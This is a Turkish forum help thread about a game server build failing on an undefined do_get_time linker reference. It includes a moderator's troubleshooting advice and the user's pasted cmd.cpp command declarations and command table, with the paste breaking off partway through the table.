Çözüldü Game build olmuyor

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Game build etmeye çalıştığımda tamamlanıyor ancak en son bi hata veriyor build olmuyor
Hata:
Kod:
 ------------------------------------------------
----Derlenme basarili bir sekilde tamamlandi----
----TR SERVER GAME: Game.... Tamamlandi----
------------------------------------------------
OBJDIR/cmd.o:(.data+0x19cc): undefined reference to `do_get_time(CHARACTER*, char const*, int, int)'
collect2: error: ld returned 1 exit status
gmake: *** [/usr/game/share/bin/game] Error 1
 
En son bir moderatör tarafından düzenlenmiş:
gmake clean yaptıktan sonra tekrardan deneyin. Yine aynı hata veriyorsa

cmd.cpp dosyasında do_get_time bu kod ile bağlantılı kodları kontrol ediniz. Hata kayıtında tanımlanamadığını söylüyor.
 
gmake clean yaptıktan sonra tekrardan deneyin. Yine aynı hata veriyorsa

cmd.cpp dosyasında do_get_time bu kod ile bağlantılı kodları kontrol ediniz. Hata kayıtında tanımlanamadığını söylüyor.
Hocam gmake clean ile olmuyor size ben cmd.cpp kodlarını versem bakabilir misiniz müsaitseniz ben anlamıyorum bu tür işlerlerdrn çok fazla da
 
cmd.cpp içerisinde yazan kodları kod bloguna ekleyin mesajınıza bakayım
 
hocam inşallah çözebilirsiniz gerçekten çok minettar olurum
C++:
#include "stdafx.h"
#include "utils.h"
#include "config.h"
#include "char.h"
#include "locale_service.h"
#include "log.h"
#include "desc.h"

ACMD(do_user_horse_ride);
ACMD(do_user_horse_back);
ACMD(do_user_horse_feed);

ACMD(do_pcbang_update);
ACMD(do_pcbang_check);

// ADD_COMMAND_SLOW_STUN
ACMD(do_slow);
ACMD(do_stun);
// END_OF_ADD_COMMAND_SLOW_STUN

ACMD(do_warp);
ACMD(do_find_warp);
ACMD(do_goto);
ACMD(do_item);
ACMD(do_mob);
ACMD(do_mob_ld);
ACMD(do_mob_aggresive);
ACMD(do_mob_coward);
ACMD(do_mob_map);
ACMD(do_purge);
ACMD(do_weaken);
ACMD(do_item_purge);
ACMD(do_state);
ACMD(do_notice);
ACMD(do_guild_notice);
ACMD(do_map_notice);
ACMD(do_big_notice);
ACMD(do_who);
ACMD(do_user);
ACMD(do_disconnect);
ACMD(do_kill);
ACMD(do_emotion_allow);
ACMD(do_emotion);
ACMD(do_transfer);
ACMD(do_set);
ACMD(do_cmd);
ACMD(do_reset);
ACMD(do_greset);
ACMD(do_mount);
ACMD(do_schimba_rasa);
ACMD(do_fishing);
ACMD(do_refine_rod);

// REFINE_PICK
ACMD(do_max_pick);
ACMD(do_refine_pick);
// END_OF_REFINE_PICK

ACMD(do_fishing_simul);
ACMD(do_console);
ACMD(do_restart);
ACMD(do_advance);
ACMD(do_stat);
ACMD(do_respawn);
ACMD(do_skillup);
ACMD(do_guildskillup);
ACMD(do_pvp);
ACMD(do_point_reset);
ACMD(do_safebox_size);
ACMD(do_safebox_close);
ACMD(do_safebox_password);
ACMD(do_safebox_change_password);
ACMD(do_mall_password);
ACMD(do_mall_close);
ACMD(do_ungroup);
ACMD(do_makeguild);
ACMD(do_deleteguild);
ACMD(do_shutdown);
ACMD(do_group);
ACMD(do_group_random);
ACMD(do_invisibility);
ACMD(do_event_flag);
ACMD(do_get_event_flag);
ACMD(do_private);
ACMD(do_qf);
ACMD(do_clear_quest);
ACMD(do_book);
ACMD(do_reload);
ACMD(do_war);
ACMD(do_nowar);
ACMD(do_setskill);
ACMD(do_setskillother);
ACMD(do_level);
ACMD(do_polymorph);
ACMD(do_polymorph_item);
ACMD(do_close_shop);
ACMD(do_set_walk_mode);
ACMD(do_set_run_mode);
ACMD(do_set_skill_group);
ACMD(do_set_skill_point);
ACMD(do_cooltime);
ACMD(do_detaillog);
ACMD(do_monsterlog);

ACMD(do_gwlist);
ACMD(do_stop_guild_war);
ACMD(do_cancel_guild_war);
ACMD(do_guild_state);

ACMD(do_pkmode);
ACMD(do_mobile);
ACMD(do_mobile_auth);
ACMD(do_messenger_auth);

ACMD(do_getqf);
ACMD(do_setqf);
ACMD(do_delqf);
ACMD(do_set_state);

ACMD(do_forgetme);
ACMD(do_aggregate);
ACMD(do_attract_ranger);
ACMD(do_pull_monster);
ACMD(do_setblockmode);
ACMD(do_priv_empire);
ACMD(do_priv_guild);
ACMD(do_mount_test);
ACMD(do_unmount);
ACMD(do_observer);
ACMD(do_observer_exit);
ACMD(do_socket_item);
ACMD(do_xmas);
ACMD(do_stat_minus);
ACMD(do_stat_reset);
ACMD(do_view_equip);
ACMD(do_block_chat);
ACMD(do_vote_block_chat);

// BLOCK_CHAT
ACMD(do_block_chat_list);
// END_OF_BLOCK_CHAT

ACMD(do_party_request);
ACMD(do_party_request_deny);
ACMD(do_party_request_accept);
ACMD(do_build);
ACMD(do_clear_land);

ACMD(do_horse_state);
ACMD(do_horse_level);
ACMD(do_horse_ride);
ACMD(do_horse_summon);
ACMD(do_horse_unsummon);
ACMD(do_horse_set_stat);

ACMD(do_save_attribute_to_image);
ACMD(do_affect_remove);

ACMD(do_change_attr);
ACMD(do_add_attr);
ACMD(do_add_socket);

ACMD(do_inputall)
{
    ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("¸í·É¾î¸¦ ¸ğµÎ ÀÔ·ÂÇϼ¼¿ä."));
}

ACMD(do_show_arena_list);
ACMD(do_end_all_duel);
ACMD(do_end_duel);
ACMD(do_duel);

ACMD(do_stat_plus_amount);

ACMD(do_break_marriage);

ACMD(do_oxevent_show_quiz);
ACMD(do_oxevent_log);
ACMD(do_oxevent_get_attender);

ACMD(do_effect);
ACMD(do_threeway_war_info );
ACMD(do_threeway_war_myinfo );
//
//±ºÁÖ Àü¿ë±â´É
ACMD(do_monarch_warpto);
ACMD(do_monarch_transfer);
ACMD(do_monarch_info);
ACMD(do_elect);
ACMD(do_monarch_tax);
ACMD(do_monarch_mob);
ACMD(do_monarch_notice);

//±ºÁÖ °ü¸® ±â´É
ACMD(do_rmcandidacy);
ACMD(do_setmonarch);
ACMD(do_rmmonarch);

ACMD(do_hair);
//gift notify quest command
ACMD(do_gift);
// Å¥ºê°ü·Ã
ACMD(do_inventory);

ACMD(do_acce);
ACMD(do_cube);

// °ø¼ºÀü
ACMD(do_siege);
ACMD(do_temp);
ACMD(do_frog);

ACMD(do_check_monarch_money);

ACMD(do_reset_subskill );
ACMD(do_flush);

ACMD(do_eclipse);
ACMD(do_weeklyevent);

ACMD(do_event_helper);

ACMD(do_in_game_mall);

ACMD(do_get_mob_count);

ACMD(do_dice);
ACMD(do_special_item);

ACMD(do_click_mall);
ACMD(do_click_safebox);

ACMD(do_ride);
ACMD(do_get_item_id_list);
ACMD(do_set_socket);
// ÄÚ½ºÃõ »óź¸±â ¹× ¹ş±â
ACMD(do_costume);
ACMD(do_set_stat);

// ¹«Àû
ACMD (do_can_dead);

ACMD (do_full_set);
// Á÷±º°ú ·¹º§¿¡ µû¸¥ ÃÖ°í ¾ÆÀÌÅÛ
ACMD (do_item_full_set);
// Á÷±º¿¡ µû¸¥ ÃÖ°í ¿É¼ÇÀÇ ¼Ó¼º ¼ÂÆÃ
ACMD (do_attr_full_set);
// ¸ğµç ½ºÅ³ ¸¶½ºÅÍ
ACMD (do_all_skill_master);
// ¾ÆÀÌÅÛ Âø¿ë. iconÀÌ ¾ø¾î Ŭ¶ó¿¡¼ È®ÀÎ ÇÒ ¼ö ¾ø´Â ¾ÆÀÌÅÛ Âø¿ëÀ» À§ÇØ ¸¸µê.
ACMD (do_use_item);
ACMD (do_dragon_soul);
ACMD (do_ds_list);
ACMD (do_clear_affect);

//##################--EKLENENLER--##################
ACMD(do_savasat);
ACMD(do_savasat_kisi);
ACMD(do_koye_git);
ACMD(do_ajanisik);
ACMD(do_user_mount_ride);
ACMD(do_isinlanmatahtasi);
ACMD(do_enyakinisinlayici);
ACMD(do_add_new_attribute);
ACMD(do_bonusumu_goremezsin);
ACMD(do_bonusumu_gorebilirsin);
ACMD(do_bonus_gormek_istiyorum);

// ACMD(do_report);

#ifdef NEW_PET_SYSTEM
ACMD(do_CubePetAdd);
ACMD(do_FeedCubePet);
ACMD(do_PetSkill);
ACMD(do_PetEvo);
ACMD(do_PetChangeName);
ACMD(do_PetOtoToplama);
#endif

#ifdef GIFT_SYSTEM
ACMD(do_gift_refresh);
ACMD(do_gift_get);
#endif

#ifdef OFFLINE_SHOP
ACMD(do_shop_refresh);
ACMD(do_shop_yang);
ACMD(do_shop_refresh_items);
ACMD(do_shop_update);
ACMD(do_shop_delete);
#endif

#ifdef WJ_SECURITY_SYSTEM
ACMD (do_create_security);
ACMD (do_input_security);
ACMD (do_change_security);
ACMD (do_open_security);
#endif

#ifdef __ATTR_TRANSFER_SYSTEM__
ACMD(do_attr_transfer);
#endif

#ifdef OKEY_CARD_SYSTEM
ACMD(do_cards);
#endif

#ifdef __GAYA_SYSTEM__
ACMD(do_gaya_system);
#endif

#ifdef ENABLE_UZAK_MARKET_SYSTEM
ACMD(do_uzaktan_market);
#endif

#ifdef ENABLE_UZAK_MARKET_2_SYSTEM
ACMD(do_npcac);
#endif

#ifdef PET_ATTACK_SYSTEM
ACMD(do_pet_attack);
ACMD(do_pet_yuru_lan);
#endif

#ifdef ENABLE_LONCA_TOPLANTISI
ACMD(do_loncatoplantisi);
ACMD(do_loncatoplantievet);
#endif

#ifdef ENABLE_LONCA_ISTATISTIK
ACMD(do_war_istatistik);
ACMD(do_lonca_istatistik);
ACMD(do_lonca_savas_listesi);
ACMD(do_lonca_savas_istatistik);
#endif

#ifdef ENABLE_LONCA_GECMIS_SYSTEM
ACMD(do_lonca_gecmis);
#endif

#ifdef ENABLE_LONCA_AKTIF_LIDER_SYSTEM
ACMD(do_lonca_aktif_lider);
#endif

#ifdef ENABLE_GUVENLI_PC
ACMD(do_guvenli_pc);
#endif

ACMD(do_at_cagir);

#ifdef ENABLE_MARKET_ARAMA_SYSTEM
ACMD(do_market_ara);
#endif

#ifdef ENABLE_HIZLI_RUHTASI_SYSTEM
ACMD(do_ruhoku);
#endif

#ifdef ENABLE_HIZLI_BK_SYSTEM
ACMD(do_bkoku);
#endif

#if defined(ENABLE_ITEMINE_WS_SYSTEM) && !defined(ENABLE_ITEMINE_WS_VECTOR)
ACMD(do_itemws_gerial);
#endif

#ifdef ENABLE_SUPPORT_SYSTEM
ACMD(do_support_system_costum);
ACMD(do_support_system_weapon);
ACMD(do_support_system_hair);
ACMD(do_support_system_acce);
#endif

#ifdef ENABLE_CAPTCHA_SYSTEM
ACMD(do_captcha);
#endif

#ifdef ENABLE_BIYOLOG_SYSTEM
ACMD(do_biyolog);
#endif

#ifdef ENABLE_BECERI_SEC_SYSTEM
ACMD(do_beceri_sec);
#endif

#ifdef ENABLE_BK_TAKAS_SYSTEM
ACMD(do_bk_takas);
#endif

ACMD(do_get_point);

ACMD(do_get_map_index);

#ifdef ENABLE_MAINTENANCE_SYSTEM
ACMD(do_maintenance);
ACMD(do_maintenance_text_1);
ACMD(do_maintenance_text_2);
ACMD(do_maintenance_text_3);
ACMD(do_maintenance_text_4);
ACMD(do_maintenance_text_5);
ACMD(do_maintenance_update);
#endif

#ifdef ENABLE_HARDWARE_BAN
ACMD(do_hardware_ban);
#endif

#ifdef ENABLE_ZODIAC_TEMPLE_SYSTEM
ACMD(do_open_cz);
ACMD(do_cz_reward);
ACMD(do_cz_check_box);
ACMD(do_revivedialog);
ACMD(do_revive);
ACMD(do_jump_floor);
ACMD(do_next_floor);
#endif

ACMD(do_get_time);

//##################--EKLENENLER--##################

struct command_info cmd_info[] =
{
    { "!RESERVED!",    NULL,            0,            POS_DEAD,    GM_IMPLEMENTOR    }, /* ¹İµå½Ã ÀÌ °ÍÀÌ Ã³À½À̾î¾ß ÇÑ´Ù. */
    { "who",        do_who,            0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "war",        do_war,            0,            POS_DEAD,    GM_PLAYER    },
    { "warp",        do_warp,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "warp_find",    do_find_warp,    0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "user",        do_user,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "notice",        do_notice,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "guild_notice",    do_guild_notice,        0,            POS_DEAD,    GM_PLAYER    },
    { "notice_map",    do_map_notice,    0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "big_notice",    do_big_notice,    0,            POS_DEAD,    GM_HIGH_WIZARD    },
    { "nowar",        do_nowar,        0,            POS_DEAD,    GM_PLAYER    },
    { "purge",        do_purge,        0,            POS_DEAD,    GM_WIZARD    },
    { "weaken",        do_weaken,        0,            POS_DEAD,    GM_GOD        },
    { "dc",        do_disconnect,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "transfer",    do_transfer,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "goto",        do_goto,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "level",        do_level,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "eventflag",    do_event_flag,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "geteventflag",    do_get_event_flag,    0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "item",                    do_item,        0,            POS_DEAD,    GM_IMPLEMENTOR        },

    { "mob",        do_mob,            0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "mob_ld",        do_mob_ld,            0,            POS_DEAD,    GM_IMPLEMENTOR    }, /* ¸÷ÀÇ À§Ä¡¿Í ¹æÇâÀ» ¼³Á¤ÇØ ¼Òȯ /mob_ld vnum x y dir */
    { "ma",        do_mob_aggresive,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "mc",        do_mob_coward,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "mm",        do_mob_map,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "kill",        do_kill,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "ipurge",        do_item_purge,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "group",        do_group,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "grrandom",    do_group_random,    0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "set",        do_set,            0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "reset",        do_reset,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "greset",        do_greset,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "advance",    do_advance,        0,            POS_DEAD,    GM_IMPLEMENTOR        },
    { "book",        do_book,        0,            POS_DEAD,    GM_IMPLEMENTOR  },

    { "console",    do_console,        0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "shutdow",    do_inputall,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "shutdown",    do_shutdown,        0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "stat",        do_stat,        0,            POS_DEAD,    GM_PLAYER    },
    { "stat-",        do_stat_minus,        0,            POS_DEAD,    GM_PLAYER    },
    { "stat_reset",    do_stat_reset,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "state",        do_state,        0,            POS_DEAD,    GM_LOW_WIZARD    },

    // ADD_COMMAND_SLOW_STUN
    { "stun",        do_stun,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "slow",        do_slow,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    // END_OF_ADD_COMMAND_SLOW_STUN

    { "respawn",    do_respawn,        0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "makeguild",    do_makeguild,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "deleteguild",    do_deleteguild,        0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "mount",        do_mount,        0,            POS_MOUNTING,    GM_PLAYER    },
    { "restart_here",    do_restart,        SCMD_RESTART_HERE,    POS_DEAD,    GM_PLAYER    },
    { "restart_town",    do_restart,        SCMD_RESTART_TOWN,    POS_DEAD,    GM_PLAYER    },
    { "phase_selec",    do_inputall,        0,            POS_DEAD,    GM_PLAYER    },
    { "phase_select",    do_cmd,            SCMD_PHASE_SELECT,    POS_DEAD,    GM_PLAYER    },
    { "qui",        do_inputall,        0,            POS_DEAD,    GM_PLAYER    },
    { "schimba_rasa",    do_schimba_rasa, 0,  POS_DEAD,   GM_IMPLEMENTOR },
    { "quit",        do_cmd,            SCMD_QUIT,        POS_DEAD,    GM_PLAYER    },
    { "logou",        do_inputall,        0,            POS_DEAD,    GM_PLAYER    },
    { "logout",        do_cmd,            SCMD_LOGOUT,        POS_DEAD,    GM_PLAYER    },
    { "skillup",    do_skillup,        0,            POS_DEAD,    GM_PLAYER    },
    { "gskillup",    do_guildskillup,    0,            POS_DEAD,    GM_PLAYER    },

    { "pvp",        do_pvp,            0,            POS_DEAD,    GM_PLAYER    },
    { "safebox",    do_safebox_size,    0,            POS_DEAD,    GM_HIGH_WIZARD    },
    { "safebox_close",    do_safebox_close,    0,            POS_DEAD,    GM_PLAYER    },
    { "safebox_passwor",do_inputall,        0,            POS_DEAD,    GM_PLAYER    },
    { "safebox_password",do_safebox_password,    0,            POS_DEAD,    GM_PLAYER    },
    { "safebox_change_passwor", do_inputall,    0,            POS_DEAD,    GM_PLAYER    },
    { "safebox_change_password", do_safebox_change_password,    0,    POS_DEAD,    GM_PLAYER    },
    { "mall_passwor",    do_inputall,        0,            POS_DEAD,    GM_PLAYER    },
    { "mall_password",    do_mall_password,    0,            POS_DEAD,    GM_PLAYER    },
    { "mall_close",    do_mall_close,        0,            POS_DEAD,    GM_PLAYER    },

    // Group Command
    { "ungroup",    do_ungroup,        0,            POS_DEAD,    GM_PLAYER    },

    // REFINE_ROD_HACK_BUG_FIX
    { "refine_rod",    do_refine_rod,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    // END_OF_REFINE_ROD_HACK_BUG_FIX

    // REFINE_PICK
    { "refine_pick",    do_refine_pick,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "max_pick",    do_max_pick,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    // END_OF_REFINE_PICK

    { "fish_simul",    do_fishing_simul,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "invisible",    do_invisibility,    0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "qf",        do_qf,            0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "clear_quest",    do_clear_quest,        0,            POS_DEAD,    GM_HIGH_WIZARD    },

    { "close_shop",    do_close_shop,        0,            POS_DEAD,    GM_PLAYER    },

    { "set_walk_mode",    do_set_walk_mode,    0,            POS_DEAD,    GM_PLAYER    },
    { "set_run_mode",    do_set_run_mode,    0,            POS_DEAD,    GM_PLAYER    },
    { "setjob",do_set_skill_group,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "setskill",    do_setskill,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "setskillother",    do_setskillother,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "setskillpoint",  do_set_skill_point,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "reload",        do_reload,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "cooltime",    do_cooltime,        0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "gwlist",        do_gwlist,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "gwstop",        do_stop_guild_war,    0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "gwcancel",    do_cancel_guild_war, 0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "gstate",        do_guild_state,        0,            POS_DEAD,    GM_LOW_WIZARD    },

    { "pkmode",        do_pkmode,        0,            POS_DEAD,    GM_PLAYER    },
    { "messenger_auth",    do_messenger_auth,    0,            POS_DEAD,    GM_PLAYER    },

    { "getqf",        do_getqf,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "setqf",        do_setqf,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "delqf",        do_delqf,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "set_state",    do_set_state,        0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "·Î±×¸¦º¸¿©Áà",    do_detaillog,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "¸ó½ºÅͺ¸¿©Áà",    do_monsterlog,        0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "detaillog",    do_detaillog,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "monsterlog",    do_monsterlog,        0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "forgetme",    do_forgetme,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "aggregate",    do_aggregate,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "attract_ranger",    do_attract_ranger,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "pull_monster",    do_pull_monster,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "setblockmode",    do_setblockmode,    0,            POS_DEAD,    GM_PLAYER    },
    { "polymorph",    do_polymorph,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "polyitem",    do_polymorph_item,    0,            POS_DEAD,    GM_IMPLEMENTOR },
    { "priv_empire",    do_priv_empire,        0,            POS_DEAD,    GM_HIGH_WIZARD    },
    { "priv_guild",    do_priv_guild,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "mount_test",    do_mount_test,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "unmount",    do_unmount,        0,            POS_DEAD,    GM_PLAYER    },
    { "private",    do_private,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "party_request",    do_party_request,    0,            POS_DEAD,    GM_PLAYER    },
    { "party_request_accept", do_party_request_accept,0,        POS_DEAD,    GM_PLAYER    },
    { "party_request_deny", do_party_request_deny,0,            POS_DEAD,    GM_PLAYER    },
    { "observer",    do_observer,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "observer_exit",    do_observer_exit,    0,            POS_DEAD,    GM_PLAYER    },
    { "socketitem",    do_socket_item,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "saveati",    do_save_attribute_to_image, 0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "xmas_boom",    do_xmas,        SCMD_XMAS_BOOM,        POS_DEAD,    GM_IMPLEMENTOR    },
    { "xmas_snow",    do_xmas,        SCMD_XMAS_SNOW,        POS_DEAD,    GM_IMPLEMENTOR    },
    { "xmas_santa",    do_xmas,        SCMD_XMAS_SANTA,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "view_equip",    do_view_equip,        0,            POS_DEAD,    GM_PLAYER       },
    { "jy",                do_block_chat,        0,            POS_DEAD,    GM_LOW_WIZARD    },

    // BLOCK_CHAT
    { "vote_block_chat", do_vote_block_chat,        0,            POS_DEAD,    GM_PLAYER    },
    { "block_chat",        do_block_chat,        0,            POS_DEAD,    GM_LOW_WIZARD    },
    { "block_chat_list",do_block_chat_list,    0,            POS_DEAD,    GM_LOW_WIZARD    },
    // END_OF_BLOCK_CHAT


    { "build",        do_build,        0,        POS_DEAD,    GM_PLAYER    },
    { "clear_land", do_clear_land,    0,        POS_DEAD,    GM_IMPLEMENTOR    },

    { "affect_remove",    do_affect_remove,    0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "horse_state",    do_horse_state,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "horse_level",    do_horse_level,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "horse_ride",    do_horse_ride,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "horse_summon",    do_horse_summon,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "horse_unsummon",    do_horse_unsummon,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "horse_set_stat", do_horse_set_stat,    0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "pcbang_update",     do_pcbang_update,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "pcbang_check",     do_pcbang_check,    0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "emotion_allow",    do_emotion_allow,    0,            POS_FIGHTING,    GM_PLAYER    },
    { "kiss",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "slap",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "french_kiss",    do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "clap",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "cheer1",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "cheer2",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },

    // DANCE
    { "dance1",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "dance2",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "dance3",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "dance4",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "dance5",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    { "dance6",        do_emotion,        0,            POS_FIGHTING,    GM_PLAYER    },
    // END_OF_DANCE

    { "congratulation",        do_emotion,                0,        POS_FIGHTING,    GM_PLAYER    },
    { "forgive",            do_emotion,                0,        POS_FIGHTING,    GM_PLAYER    },
    { "angry",                do_emotion,                0,        POS_FIGHTING,    GM_PLAYER    },
    { "attractive",            do_emotion,                0,        POS_FIGHTING,    GM_PLAYER    },
    { "sad",                do_emotion,                0,        POS_FIGHTING,    GM_PLAYER    },
    { "shy",                do_emotion,                0,        POS_FIGHTING,    GM_PLAYER    },
    { "cheerup",            do_emotion,                0,        POS_FIGHTING,    GM_PLAYER    },
    { "banter",                do_emotion,                0,        POS_FIGHTING,    GM_PLAYER    },
    { "joy",                do_emotion,                0,        POS_FIGHTING,    GM_PLAYER    },

    { "change_attr",        do_change_attr,            0,        POS_DEAD,    GM_IMPLEMENTOR    },
    { "add_attr",            do_add_attr,            0,        POS_DEAD,    GM_IMPLEMENTOR    },
    { "add_socket",            do_add_socket,            0,        POS_DEAD,    GM_IMPLEMENTOR    },

    { "user_horse_ride",    do_user_horse_ride,        0,        POS_FISHING,    GM_PLAYER    },
    { "user_horse_back",    do_user_horse_back,        0,        POS_FISHING,    GM_PLAYER    },
    { "user_horse_feed",    do_user_horse_feed,        0,        POS_FISHING,    GM_PLAYER    },

    { "show_arena_list",    do_show_arena_list,        0,        POS_DEAD,    GM_IMPLEMENTOR    },
    { "end_all_duel",        do_end_all_duel,        0,        POS_DEAD,    GM_IMPLEMENTOR    },
    { "end_duel",            do_end_duel,            0,        POS_DEAD,    GM_IMPLEMENTOR    },
    { "duel",                do_duel,                0,        POS_DEAD,    GM_IMPLEMENTOR    },

    { "con+",                do_stat_plus_amount,    POINT_HT,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "int+",                do_stat_plus_amount,    POINT_IQ,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "str+",                do_stat_plus_amount,    POINT_ST,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "dex+",                do_stat_plus_amount,    POINT_DX,    POS_DEAD,    GM_IMPLEMENTOR    },

    { "break_marriage",        do_break_marriage,        0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "show_quiz",            do_oxevent_show_quiz,    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "log_oxevent",        do_oxevent_log,            0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "get_oxevent_att",    do_oxevent_get_attender,0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "effect",                do_effect,                0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "threeway_info",        do_threeway_war_info,    0,            POS_DEAD,    GM_IMPLEMENTOR},
    { "threeway_myinfo",    do_threeway_war_myinfo,    0,            POS_DEAD,    GM_IMPLEMENTOR},
    { "mto",                do_monarch_warpto,        0,            POS_DEAD,    GM_PLAYER},
    { "mtr",                do_monarch_transfer,    0,            POS_DEAD,    GM_PLAYER},
    { "minfo",                do_monarch_info,        0,            POS_DEAD,   GM_PLAYER},
    { "mtax",                do_monarch_tax,            0,            POS_DEAD,    GM_PLAYER},
    { "mmob",                do_monarch_mob,            0,            POS_DEAD,    GM_PLAYER},
    { "elect",                do_elect,                0,            POS_DEAD,    GM_IMPLEMENTOR},
    { "rmcandidacy",        do_rmcandidacy,            0,            POS_DEAD,    GM_IMPLEMENTOR},
    { "setmonarch",            do_setmonarch,            0,            POS_DEAD,    GM_IMPLEMENTOR},
    { "rmmonarch",            do_rmmonarch,            0,            POS_DEAD,     GM_IMPLEMENTOR},
    { "hair",                do_hair,                0,            POS_DEAD,    GM_PLAYER    },
    { "acce",                 do_acce,                 0,            POS_DEAD,     GM_PLAYER    },
    { "inventory",            do_inventory,            0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "cube",                do_cube,                0,    POS_DEAD,    GM_PLAYER    },

    { "siege",                do_siege,                0,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "temp",                do_temp,                0,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "frog",                do_frog,                0,    POS_DEAD,    GM_HIGH_WIZARD    },
    { "check_mmoney",        do_check_monarch_money,    0,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "reset_subskill",        do_reset_subskill,        0,    POS_DEAD,    GM_HIGH_WIZARD },
    { "flush",                do_flush,                0,    POS_DEAD,    GM_IMPLEMENTOR },
    { "gift",                do_gift,                0,  POS_DEAD,   GM_PLAYER    },    //gift

    { "mnotice",            do_monarch_notice,        0,    POS_DEAD,    GM_PLAYER    },

    { "eclipse",            do_eclipse,                0,    POS_DEAD,    GM_IMPLEMENTOR    },

    { "weeklyevent",        do_weeklyevent,            0,    POS_DEAD,    GM_IMPLEMENTOR    },

    { "eventhelper",        do_event_helper,        0,    POS_DEAD,    GM_IMPLEMENTOR    },

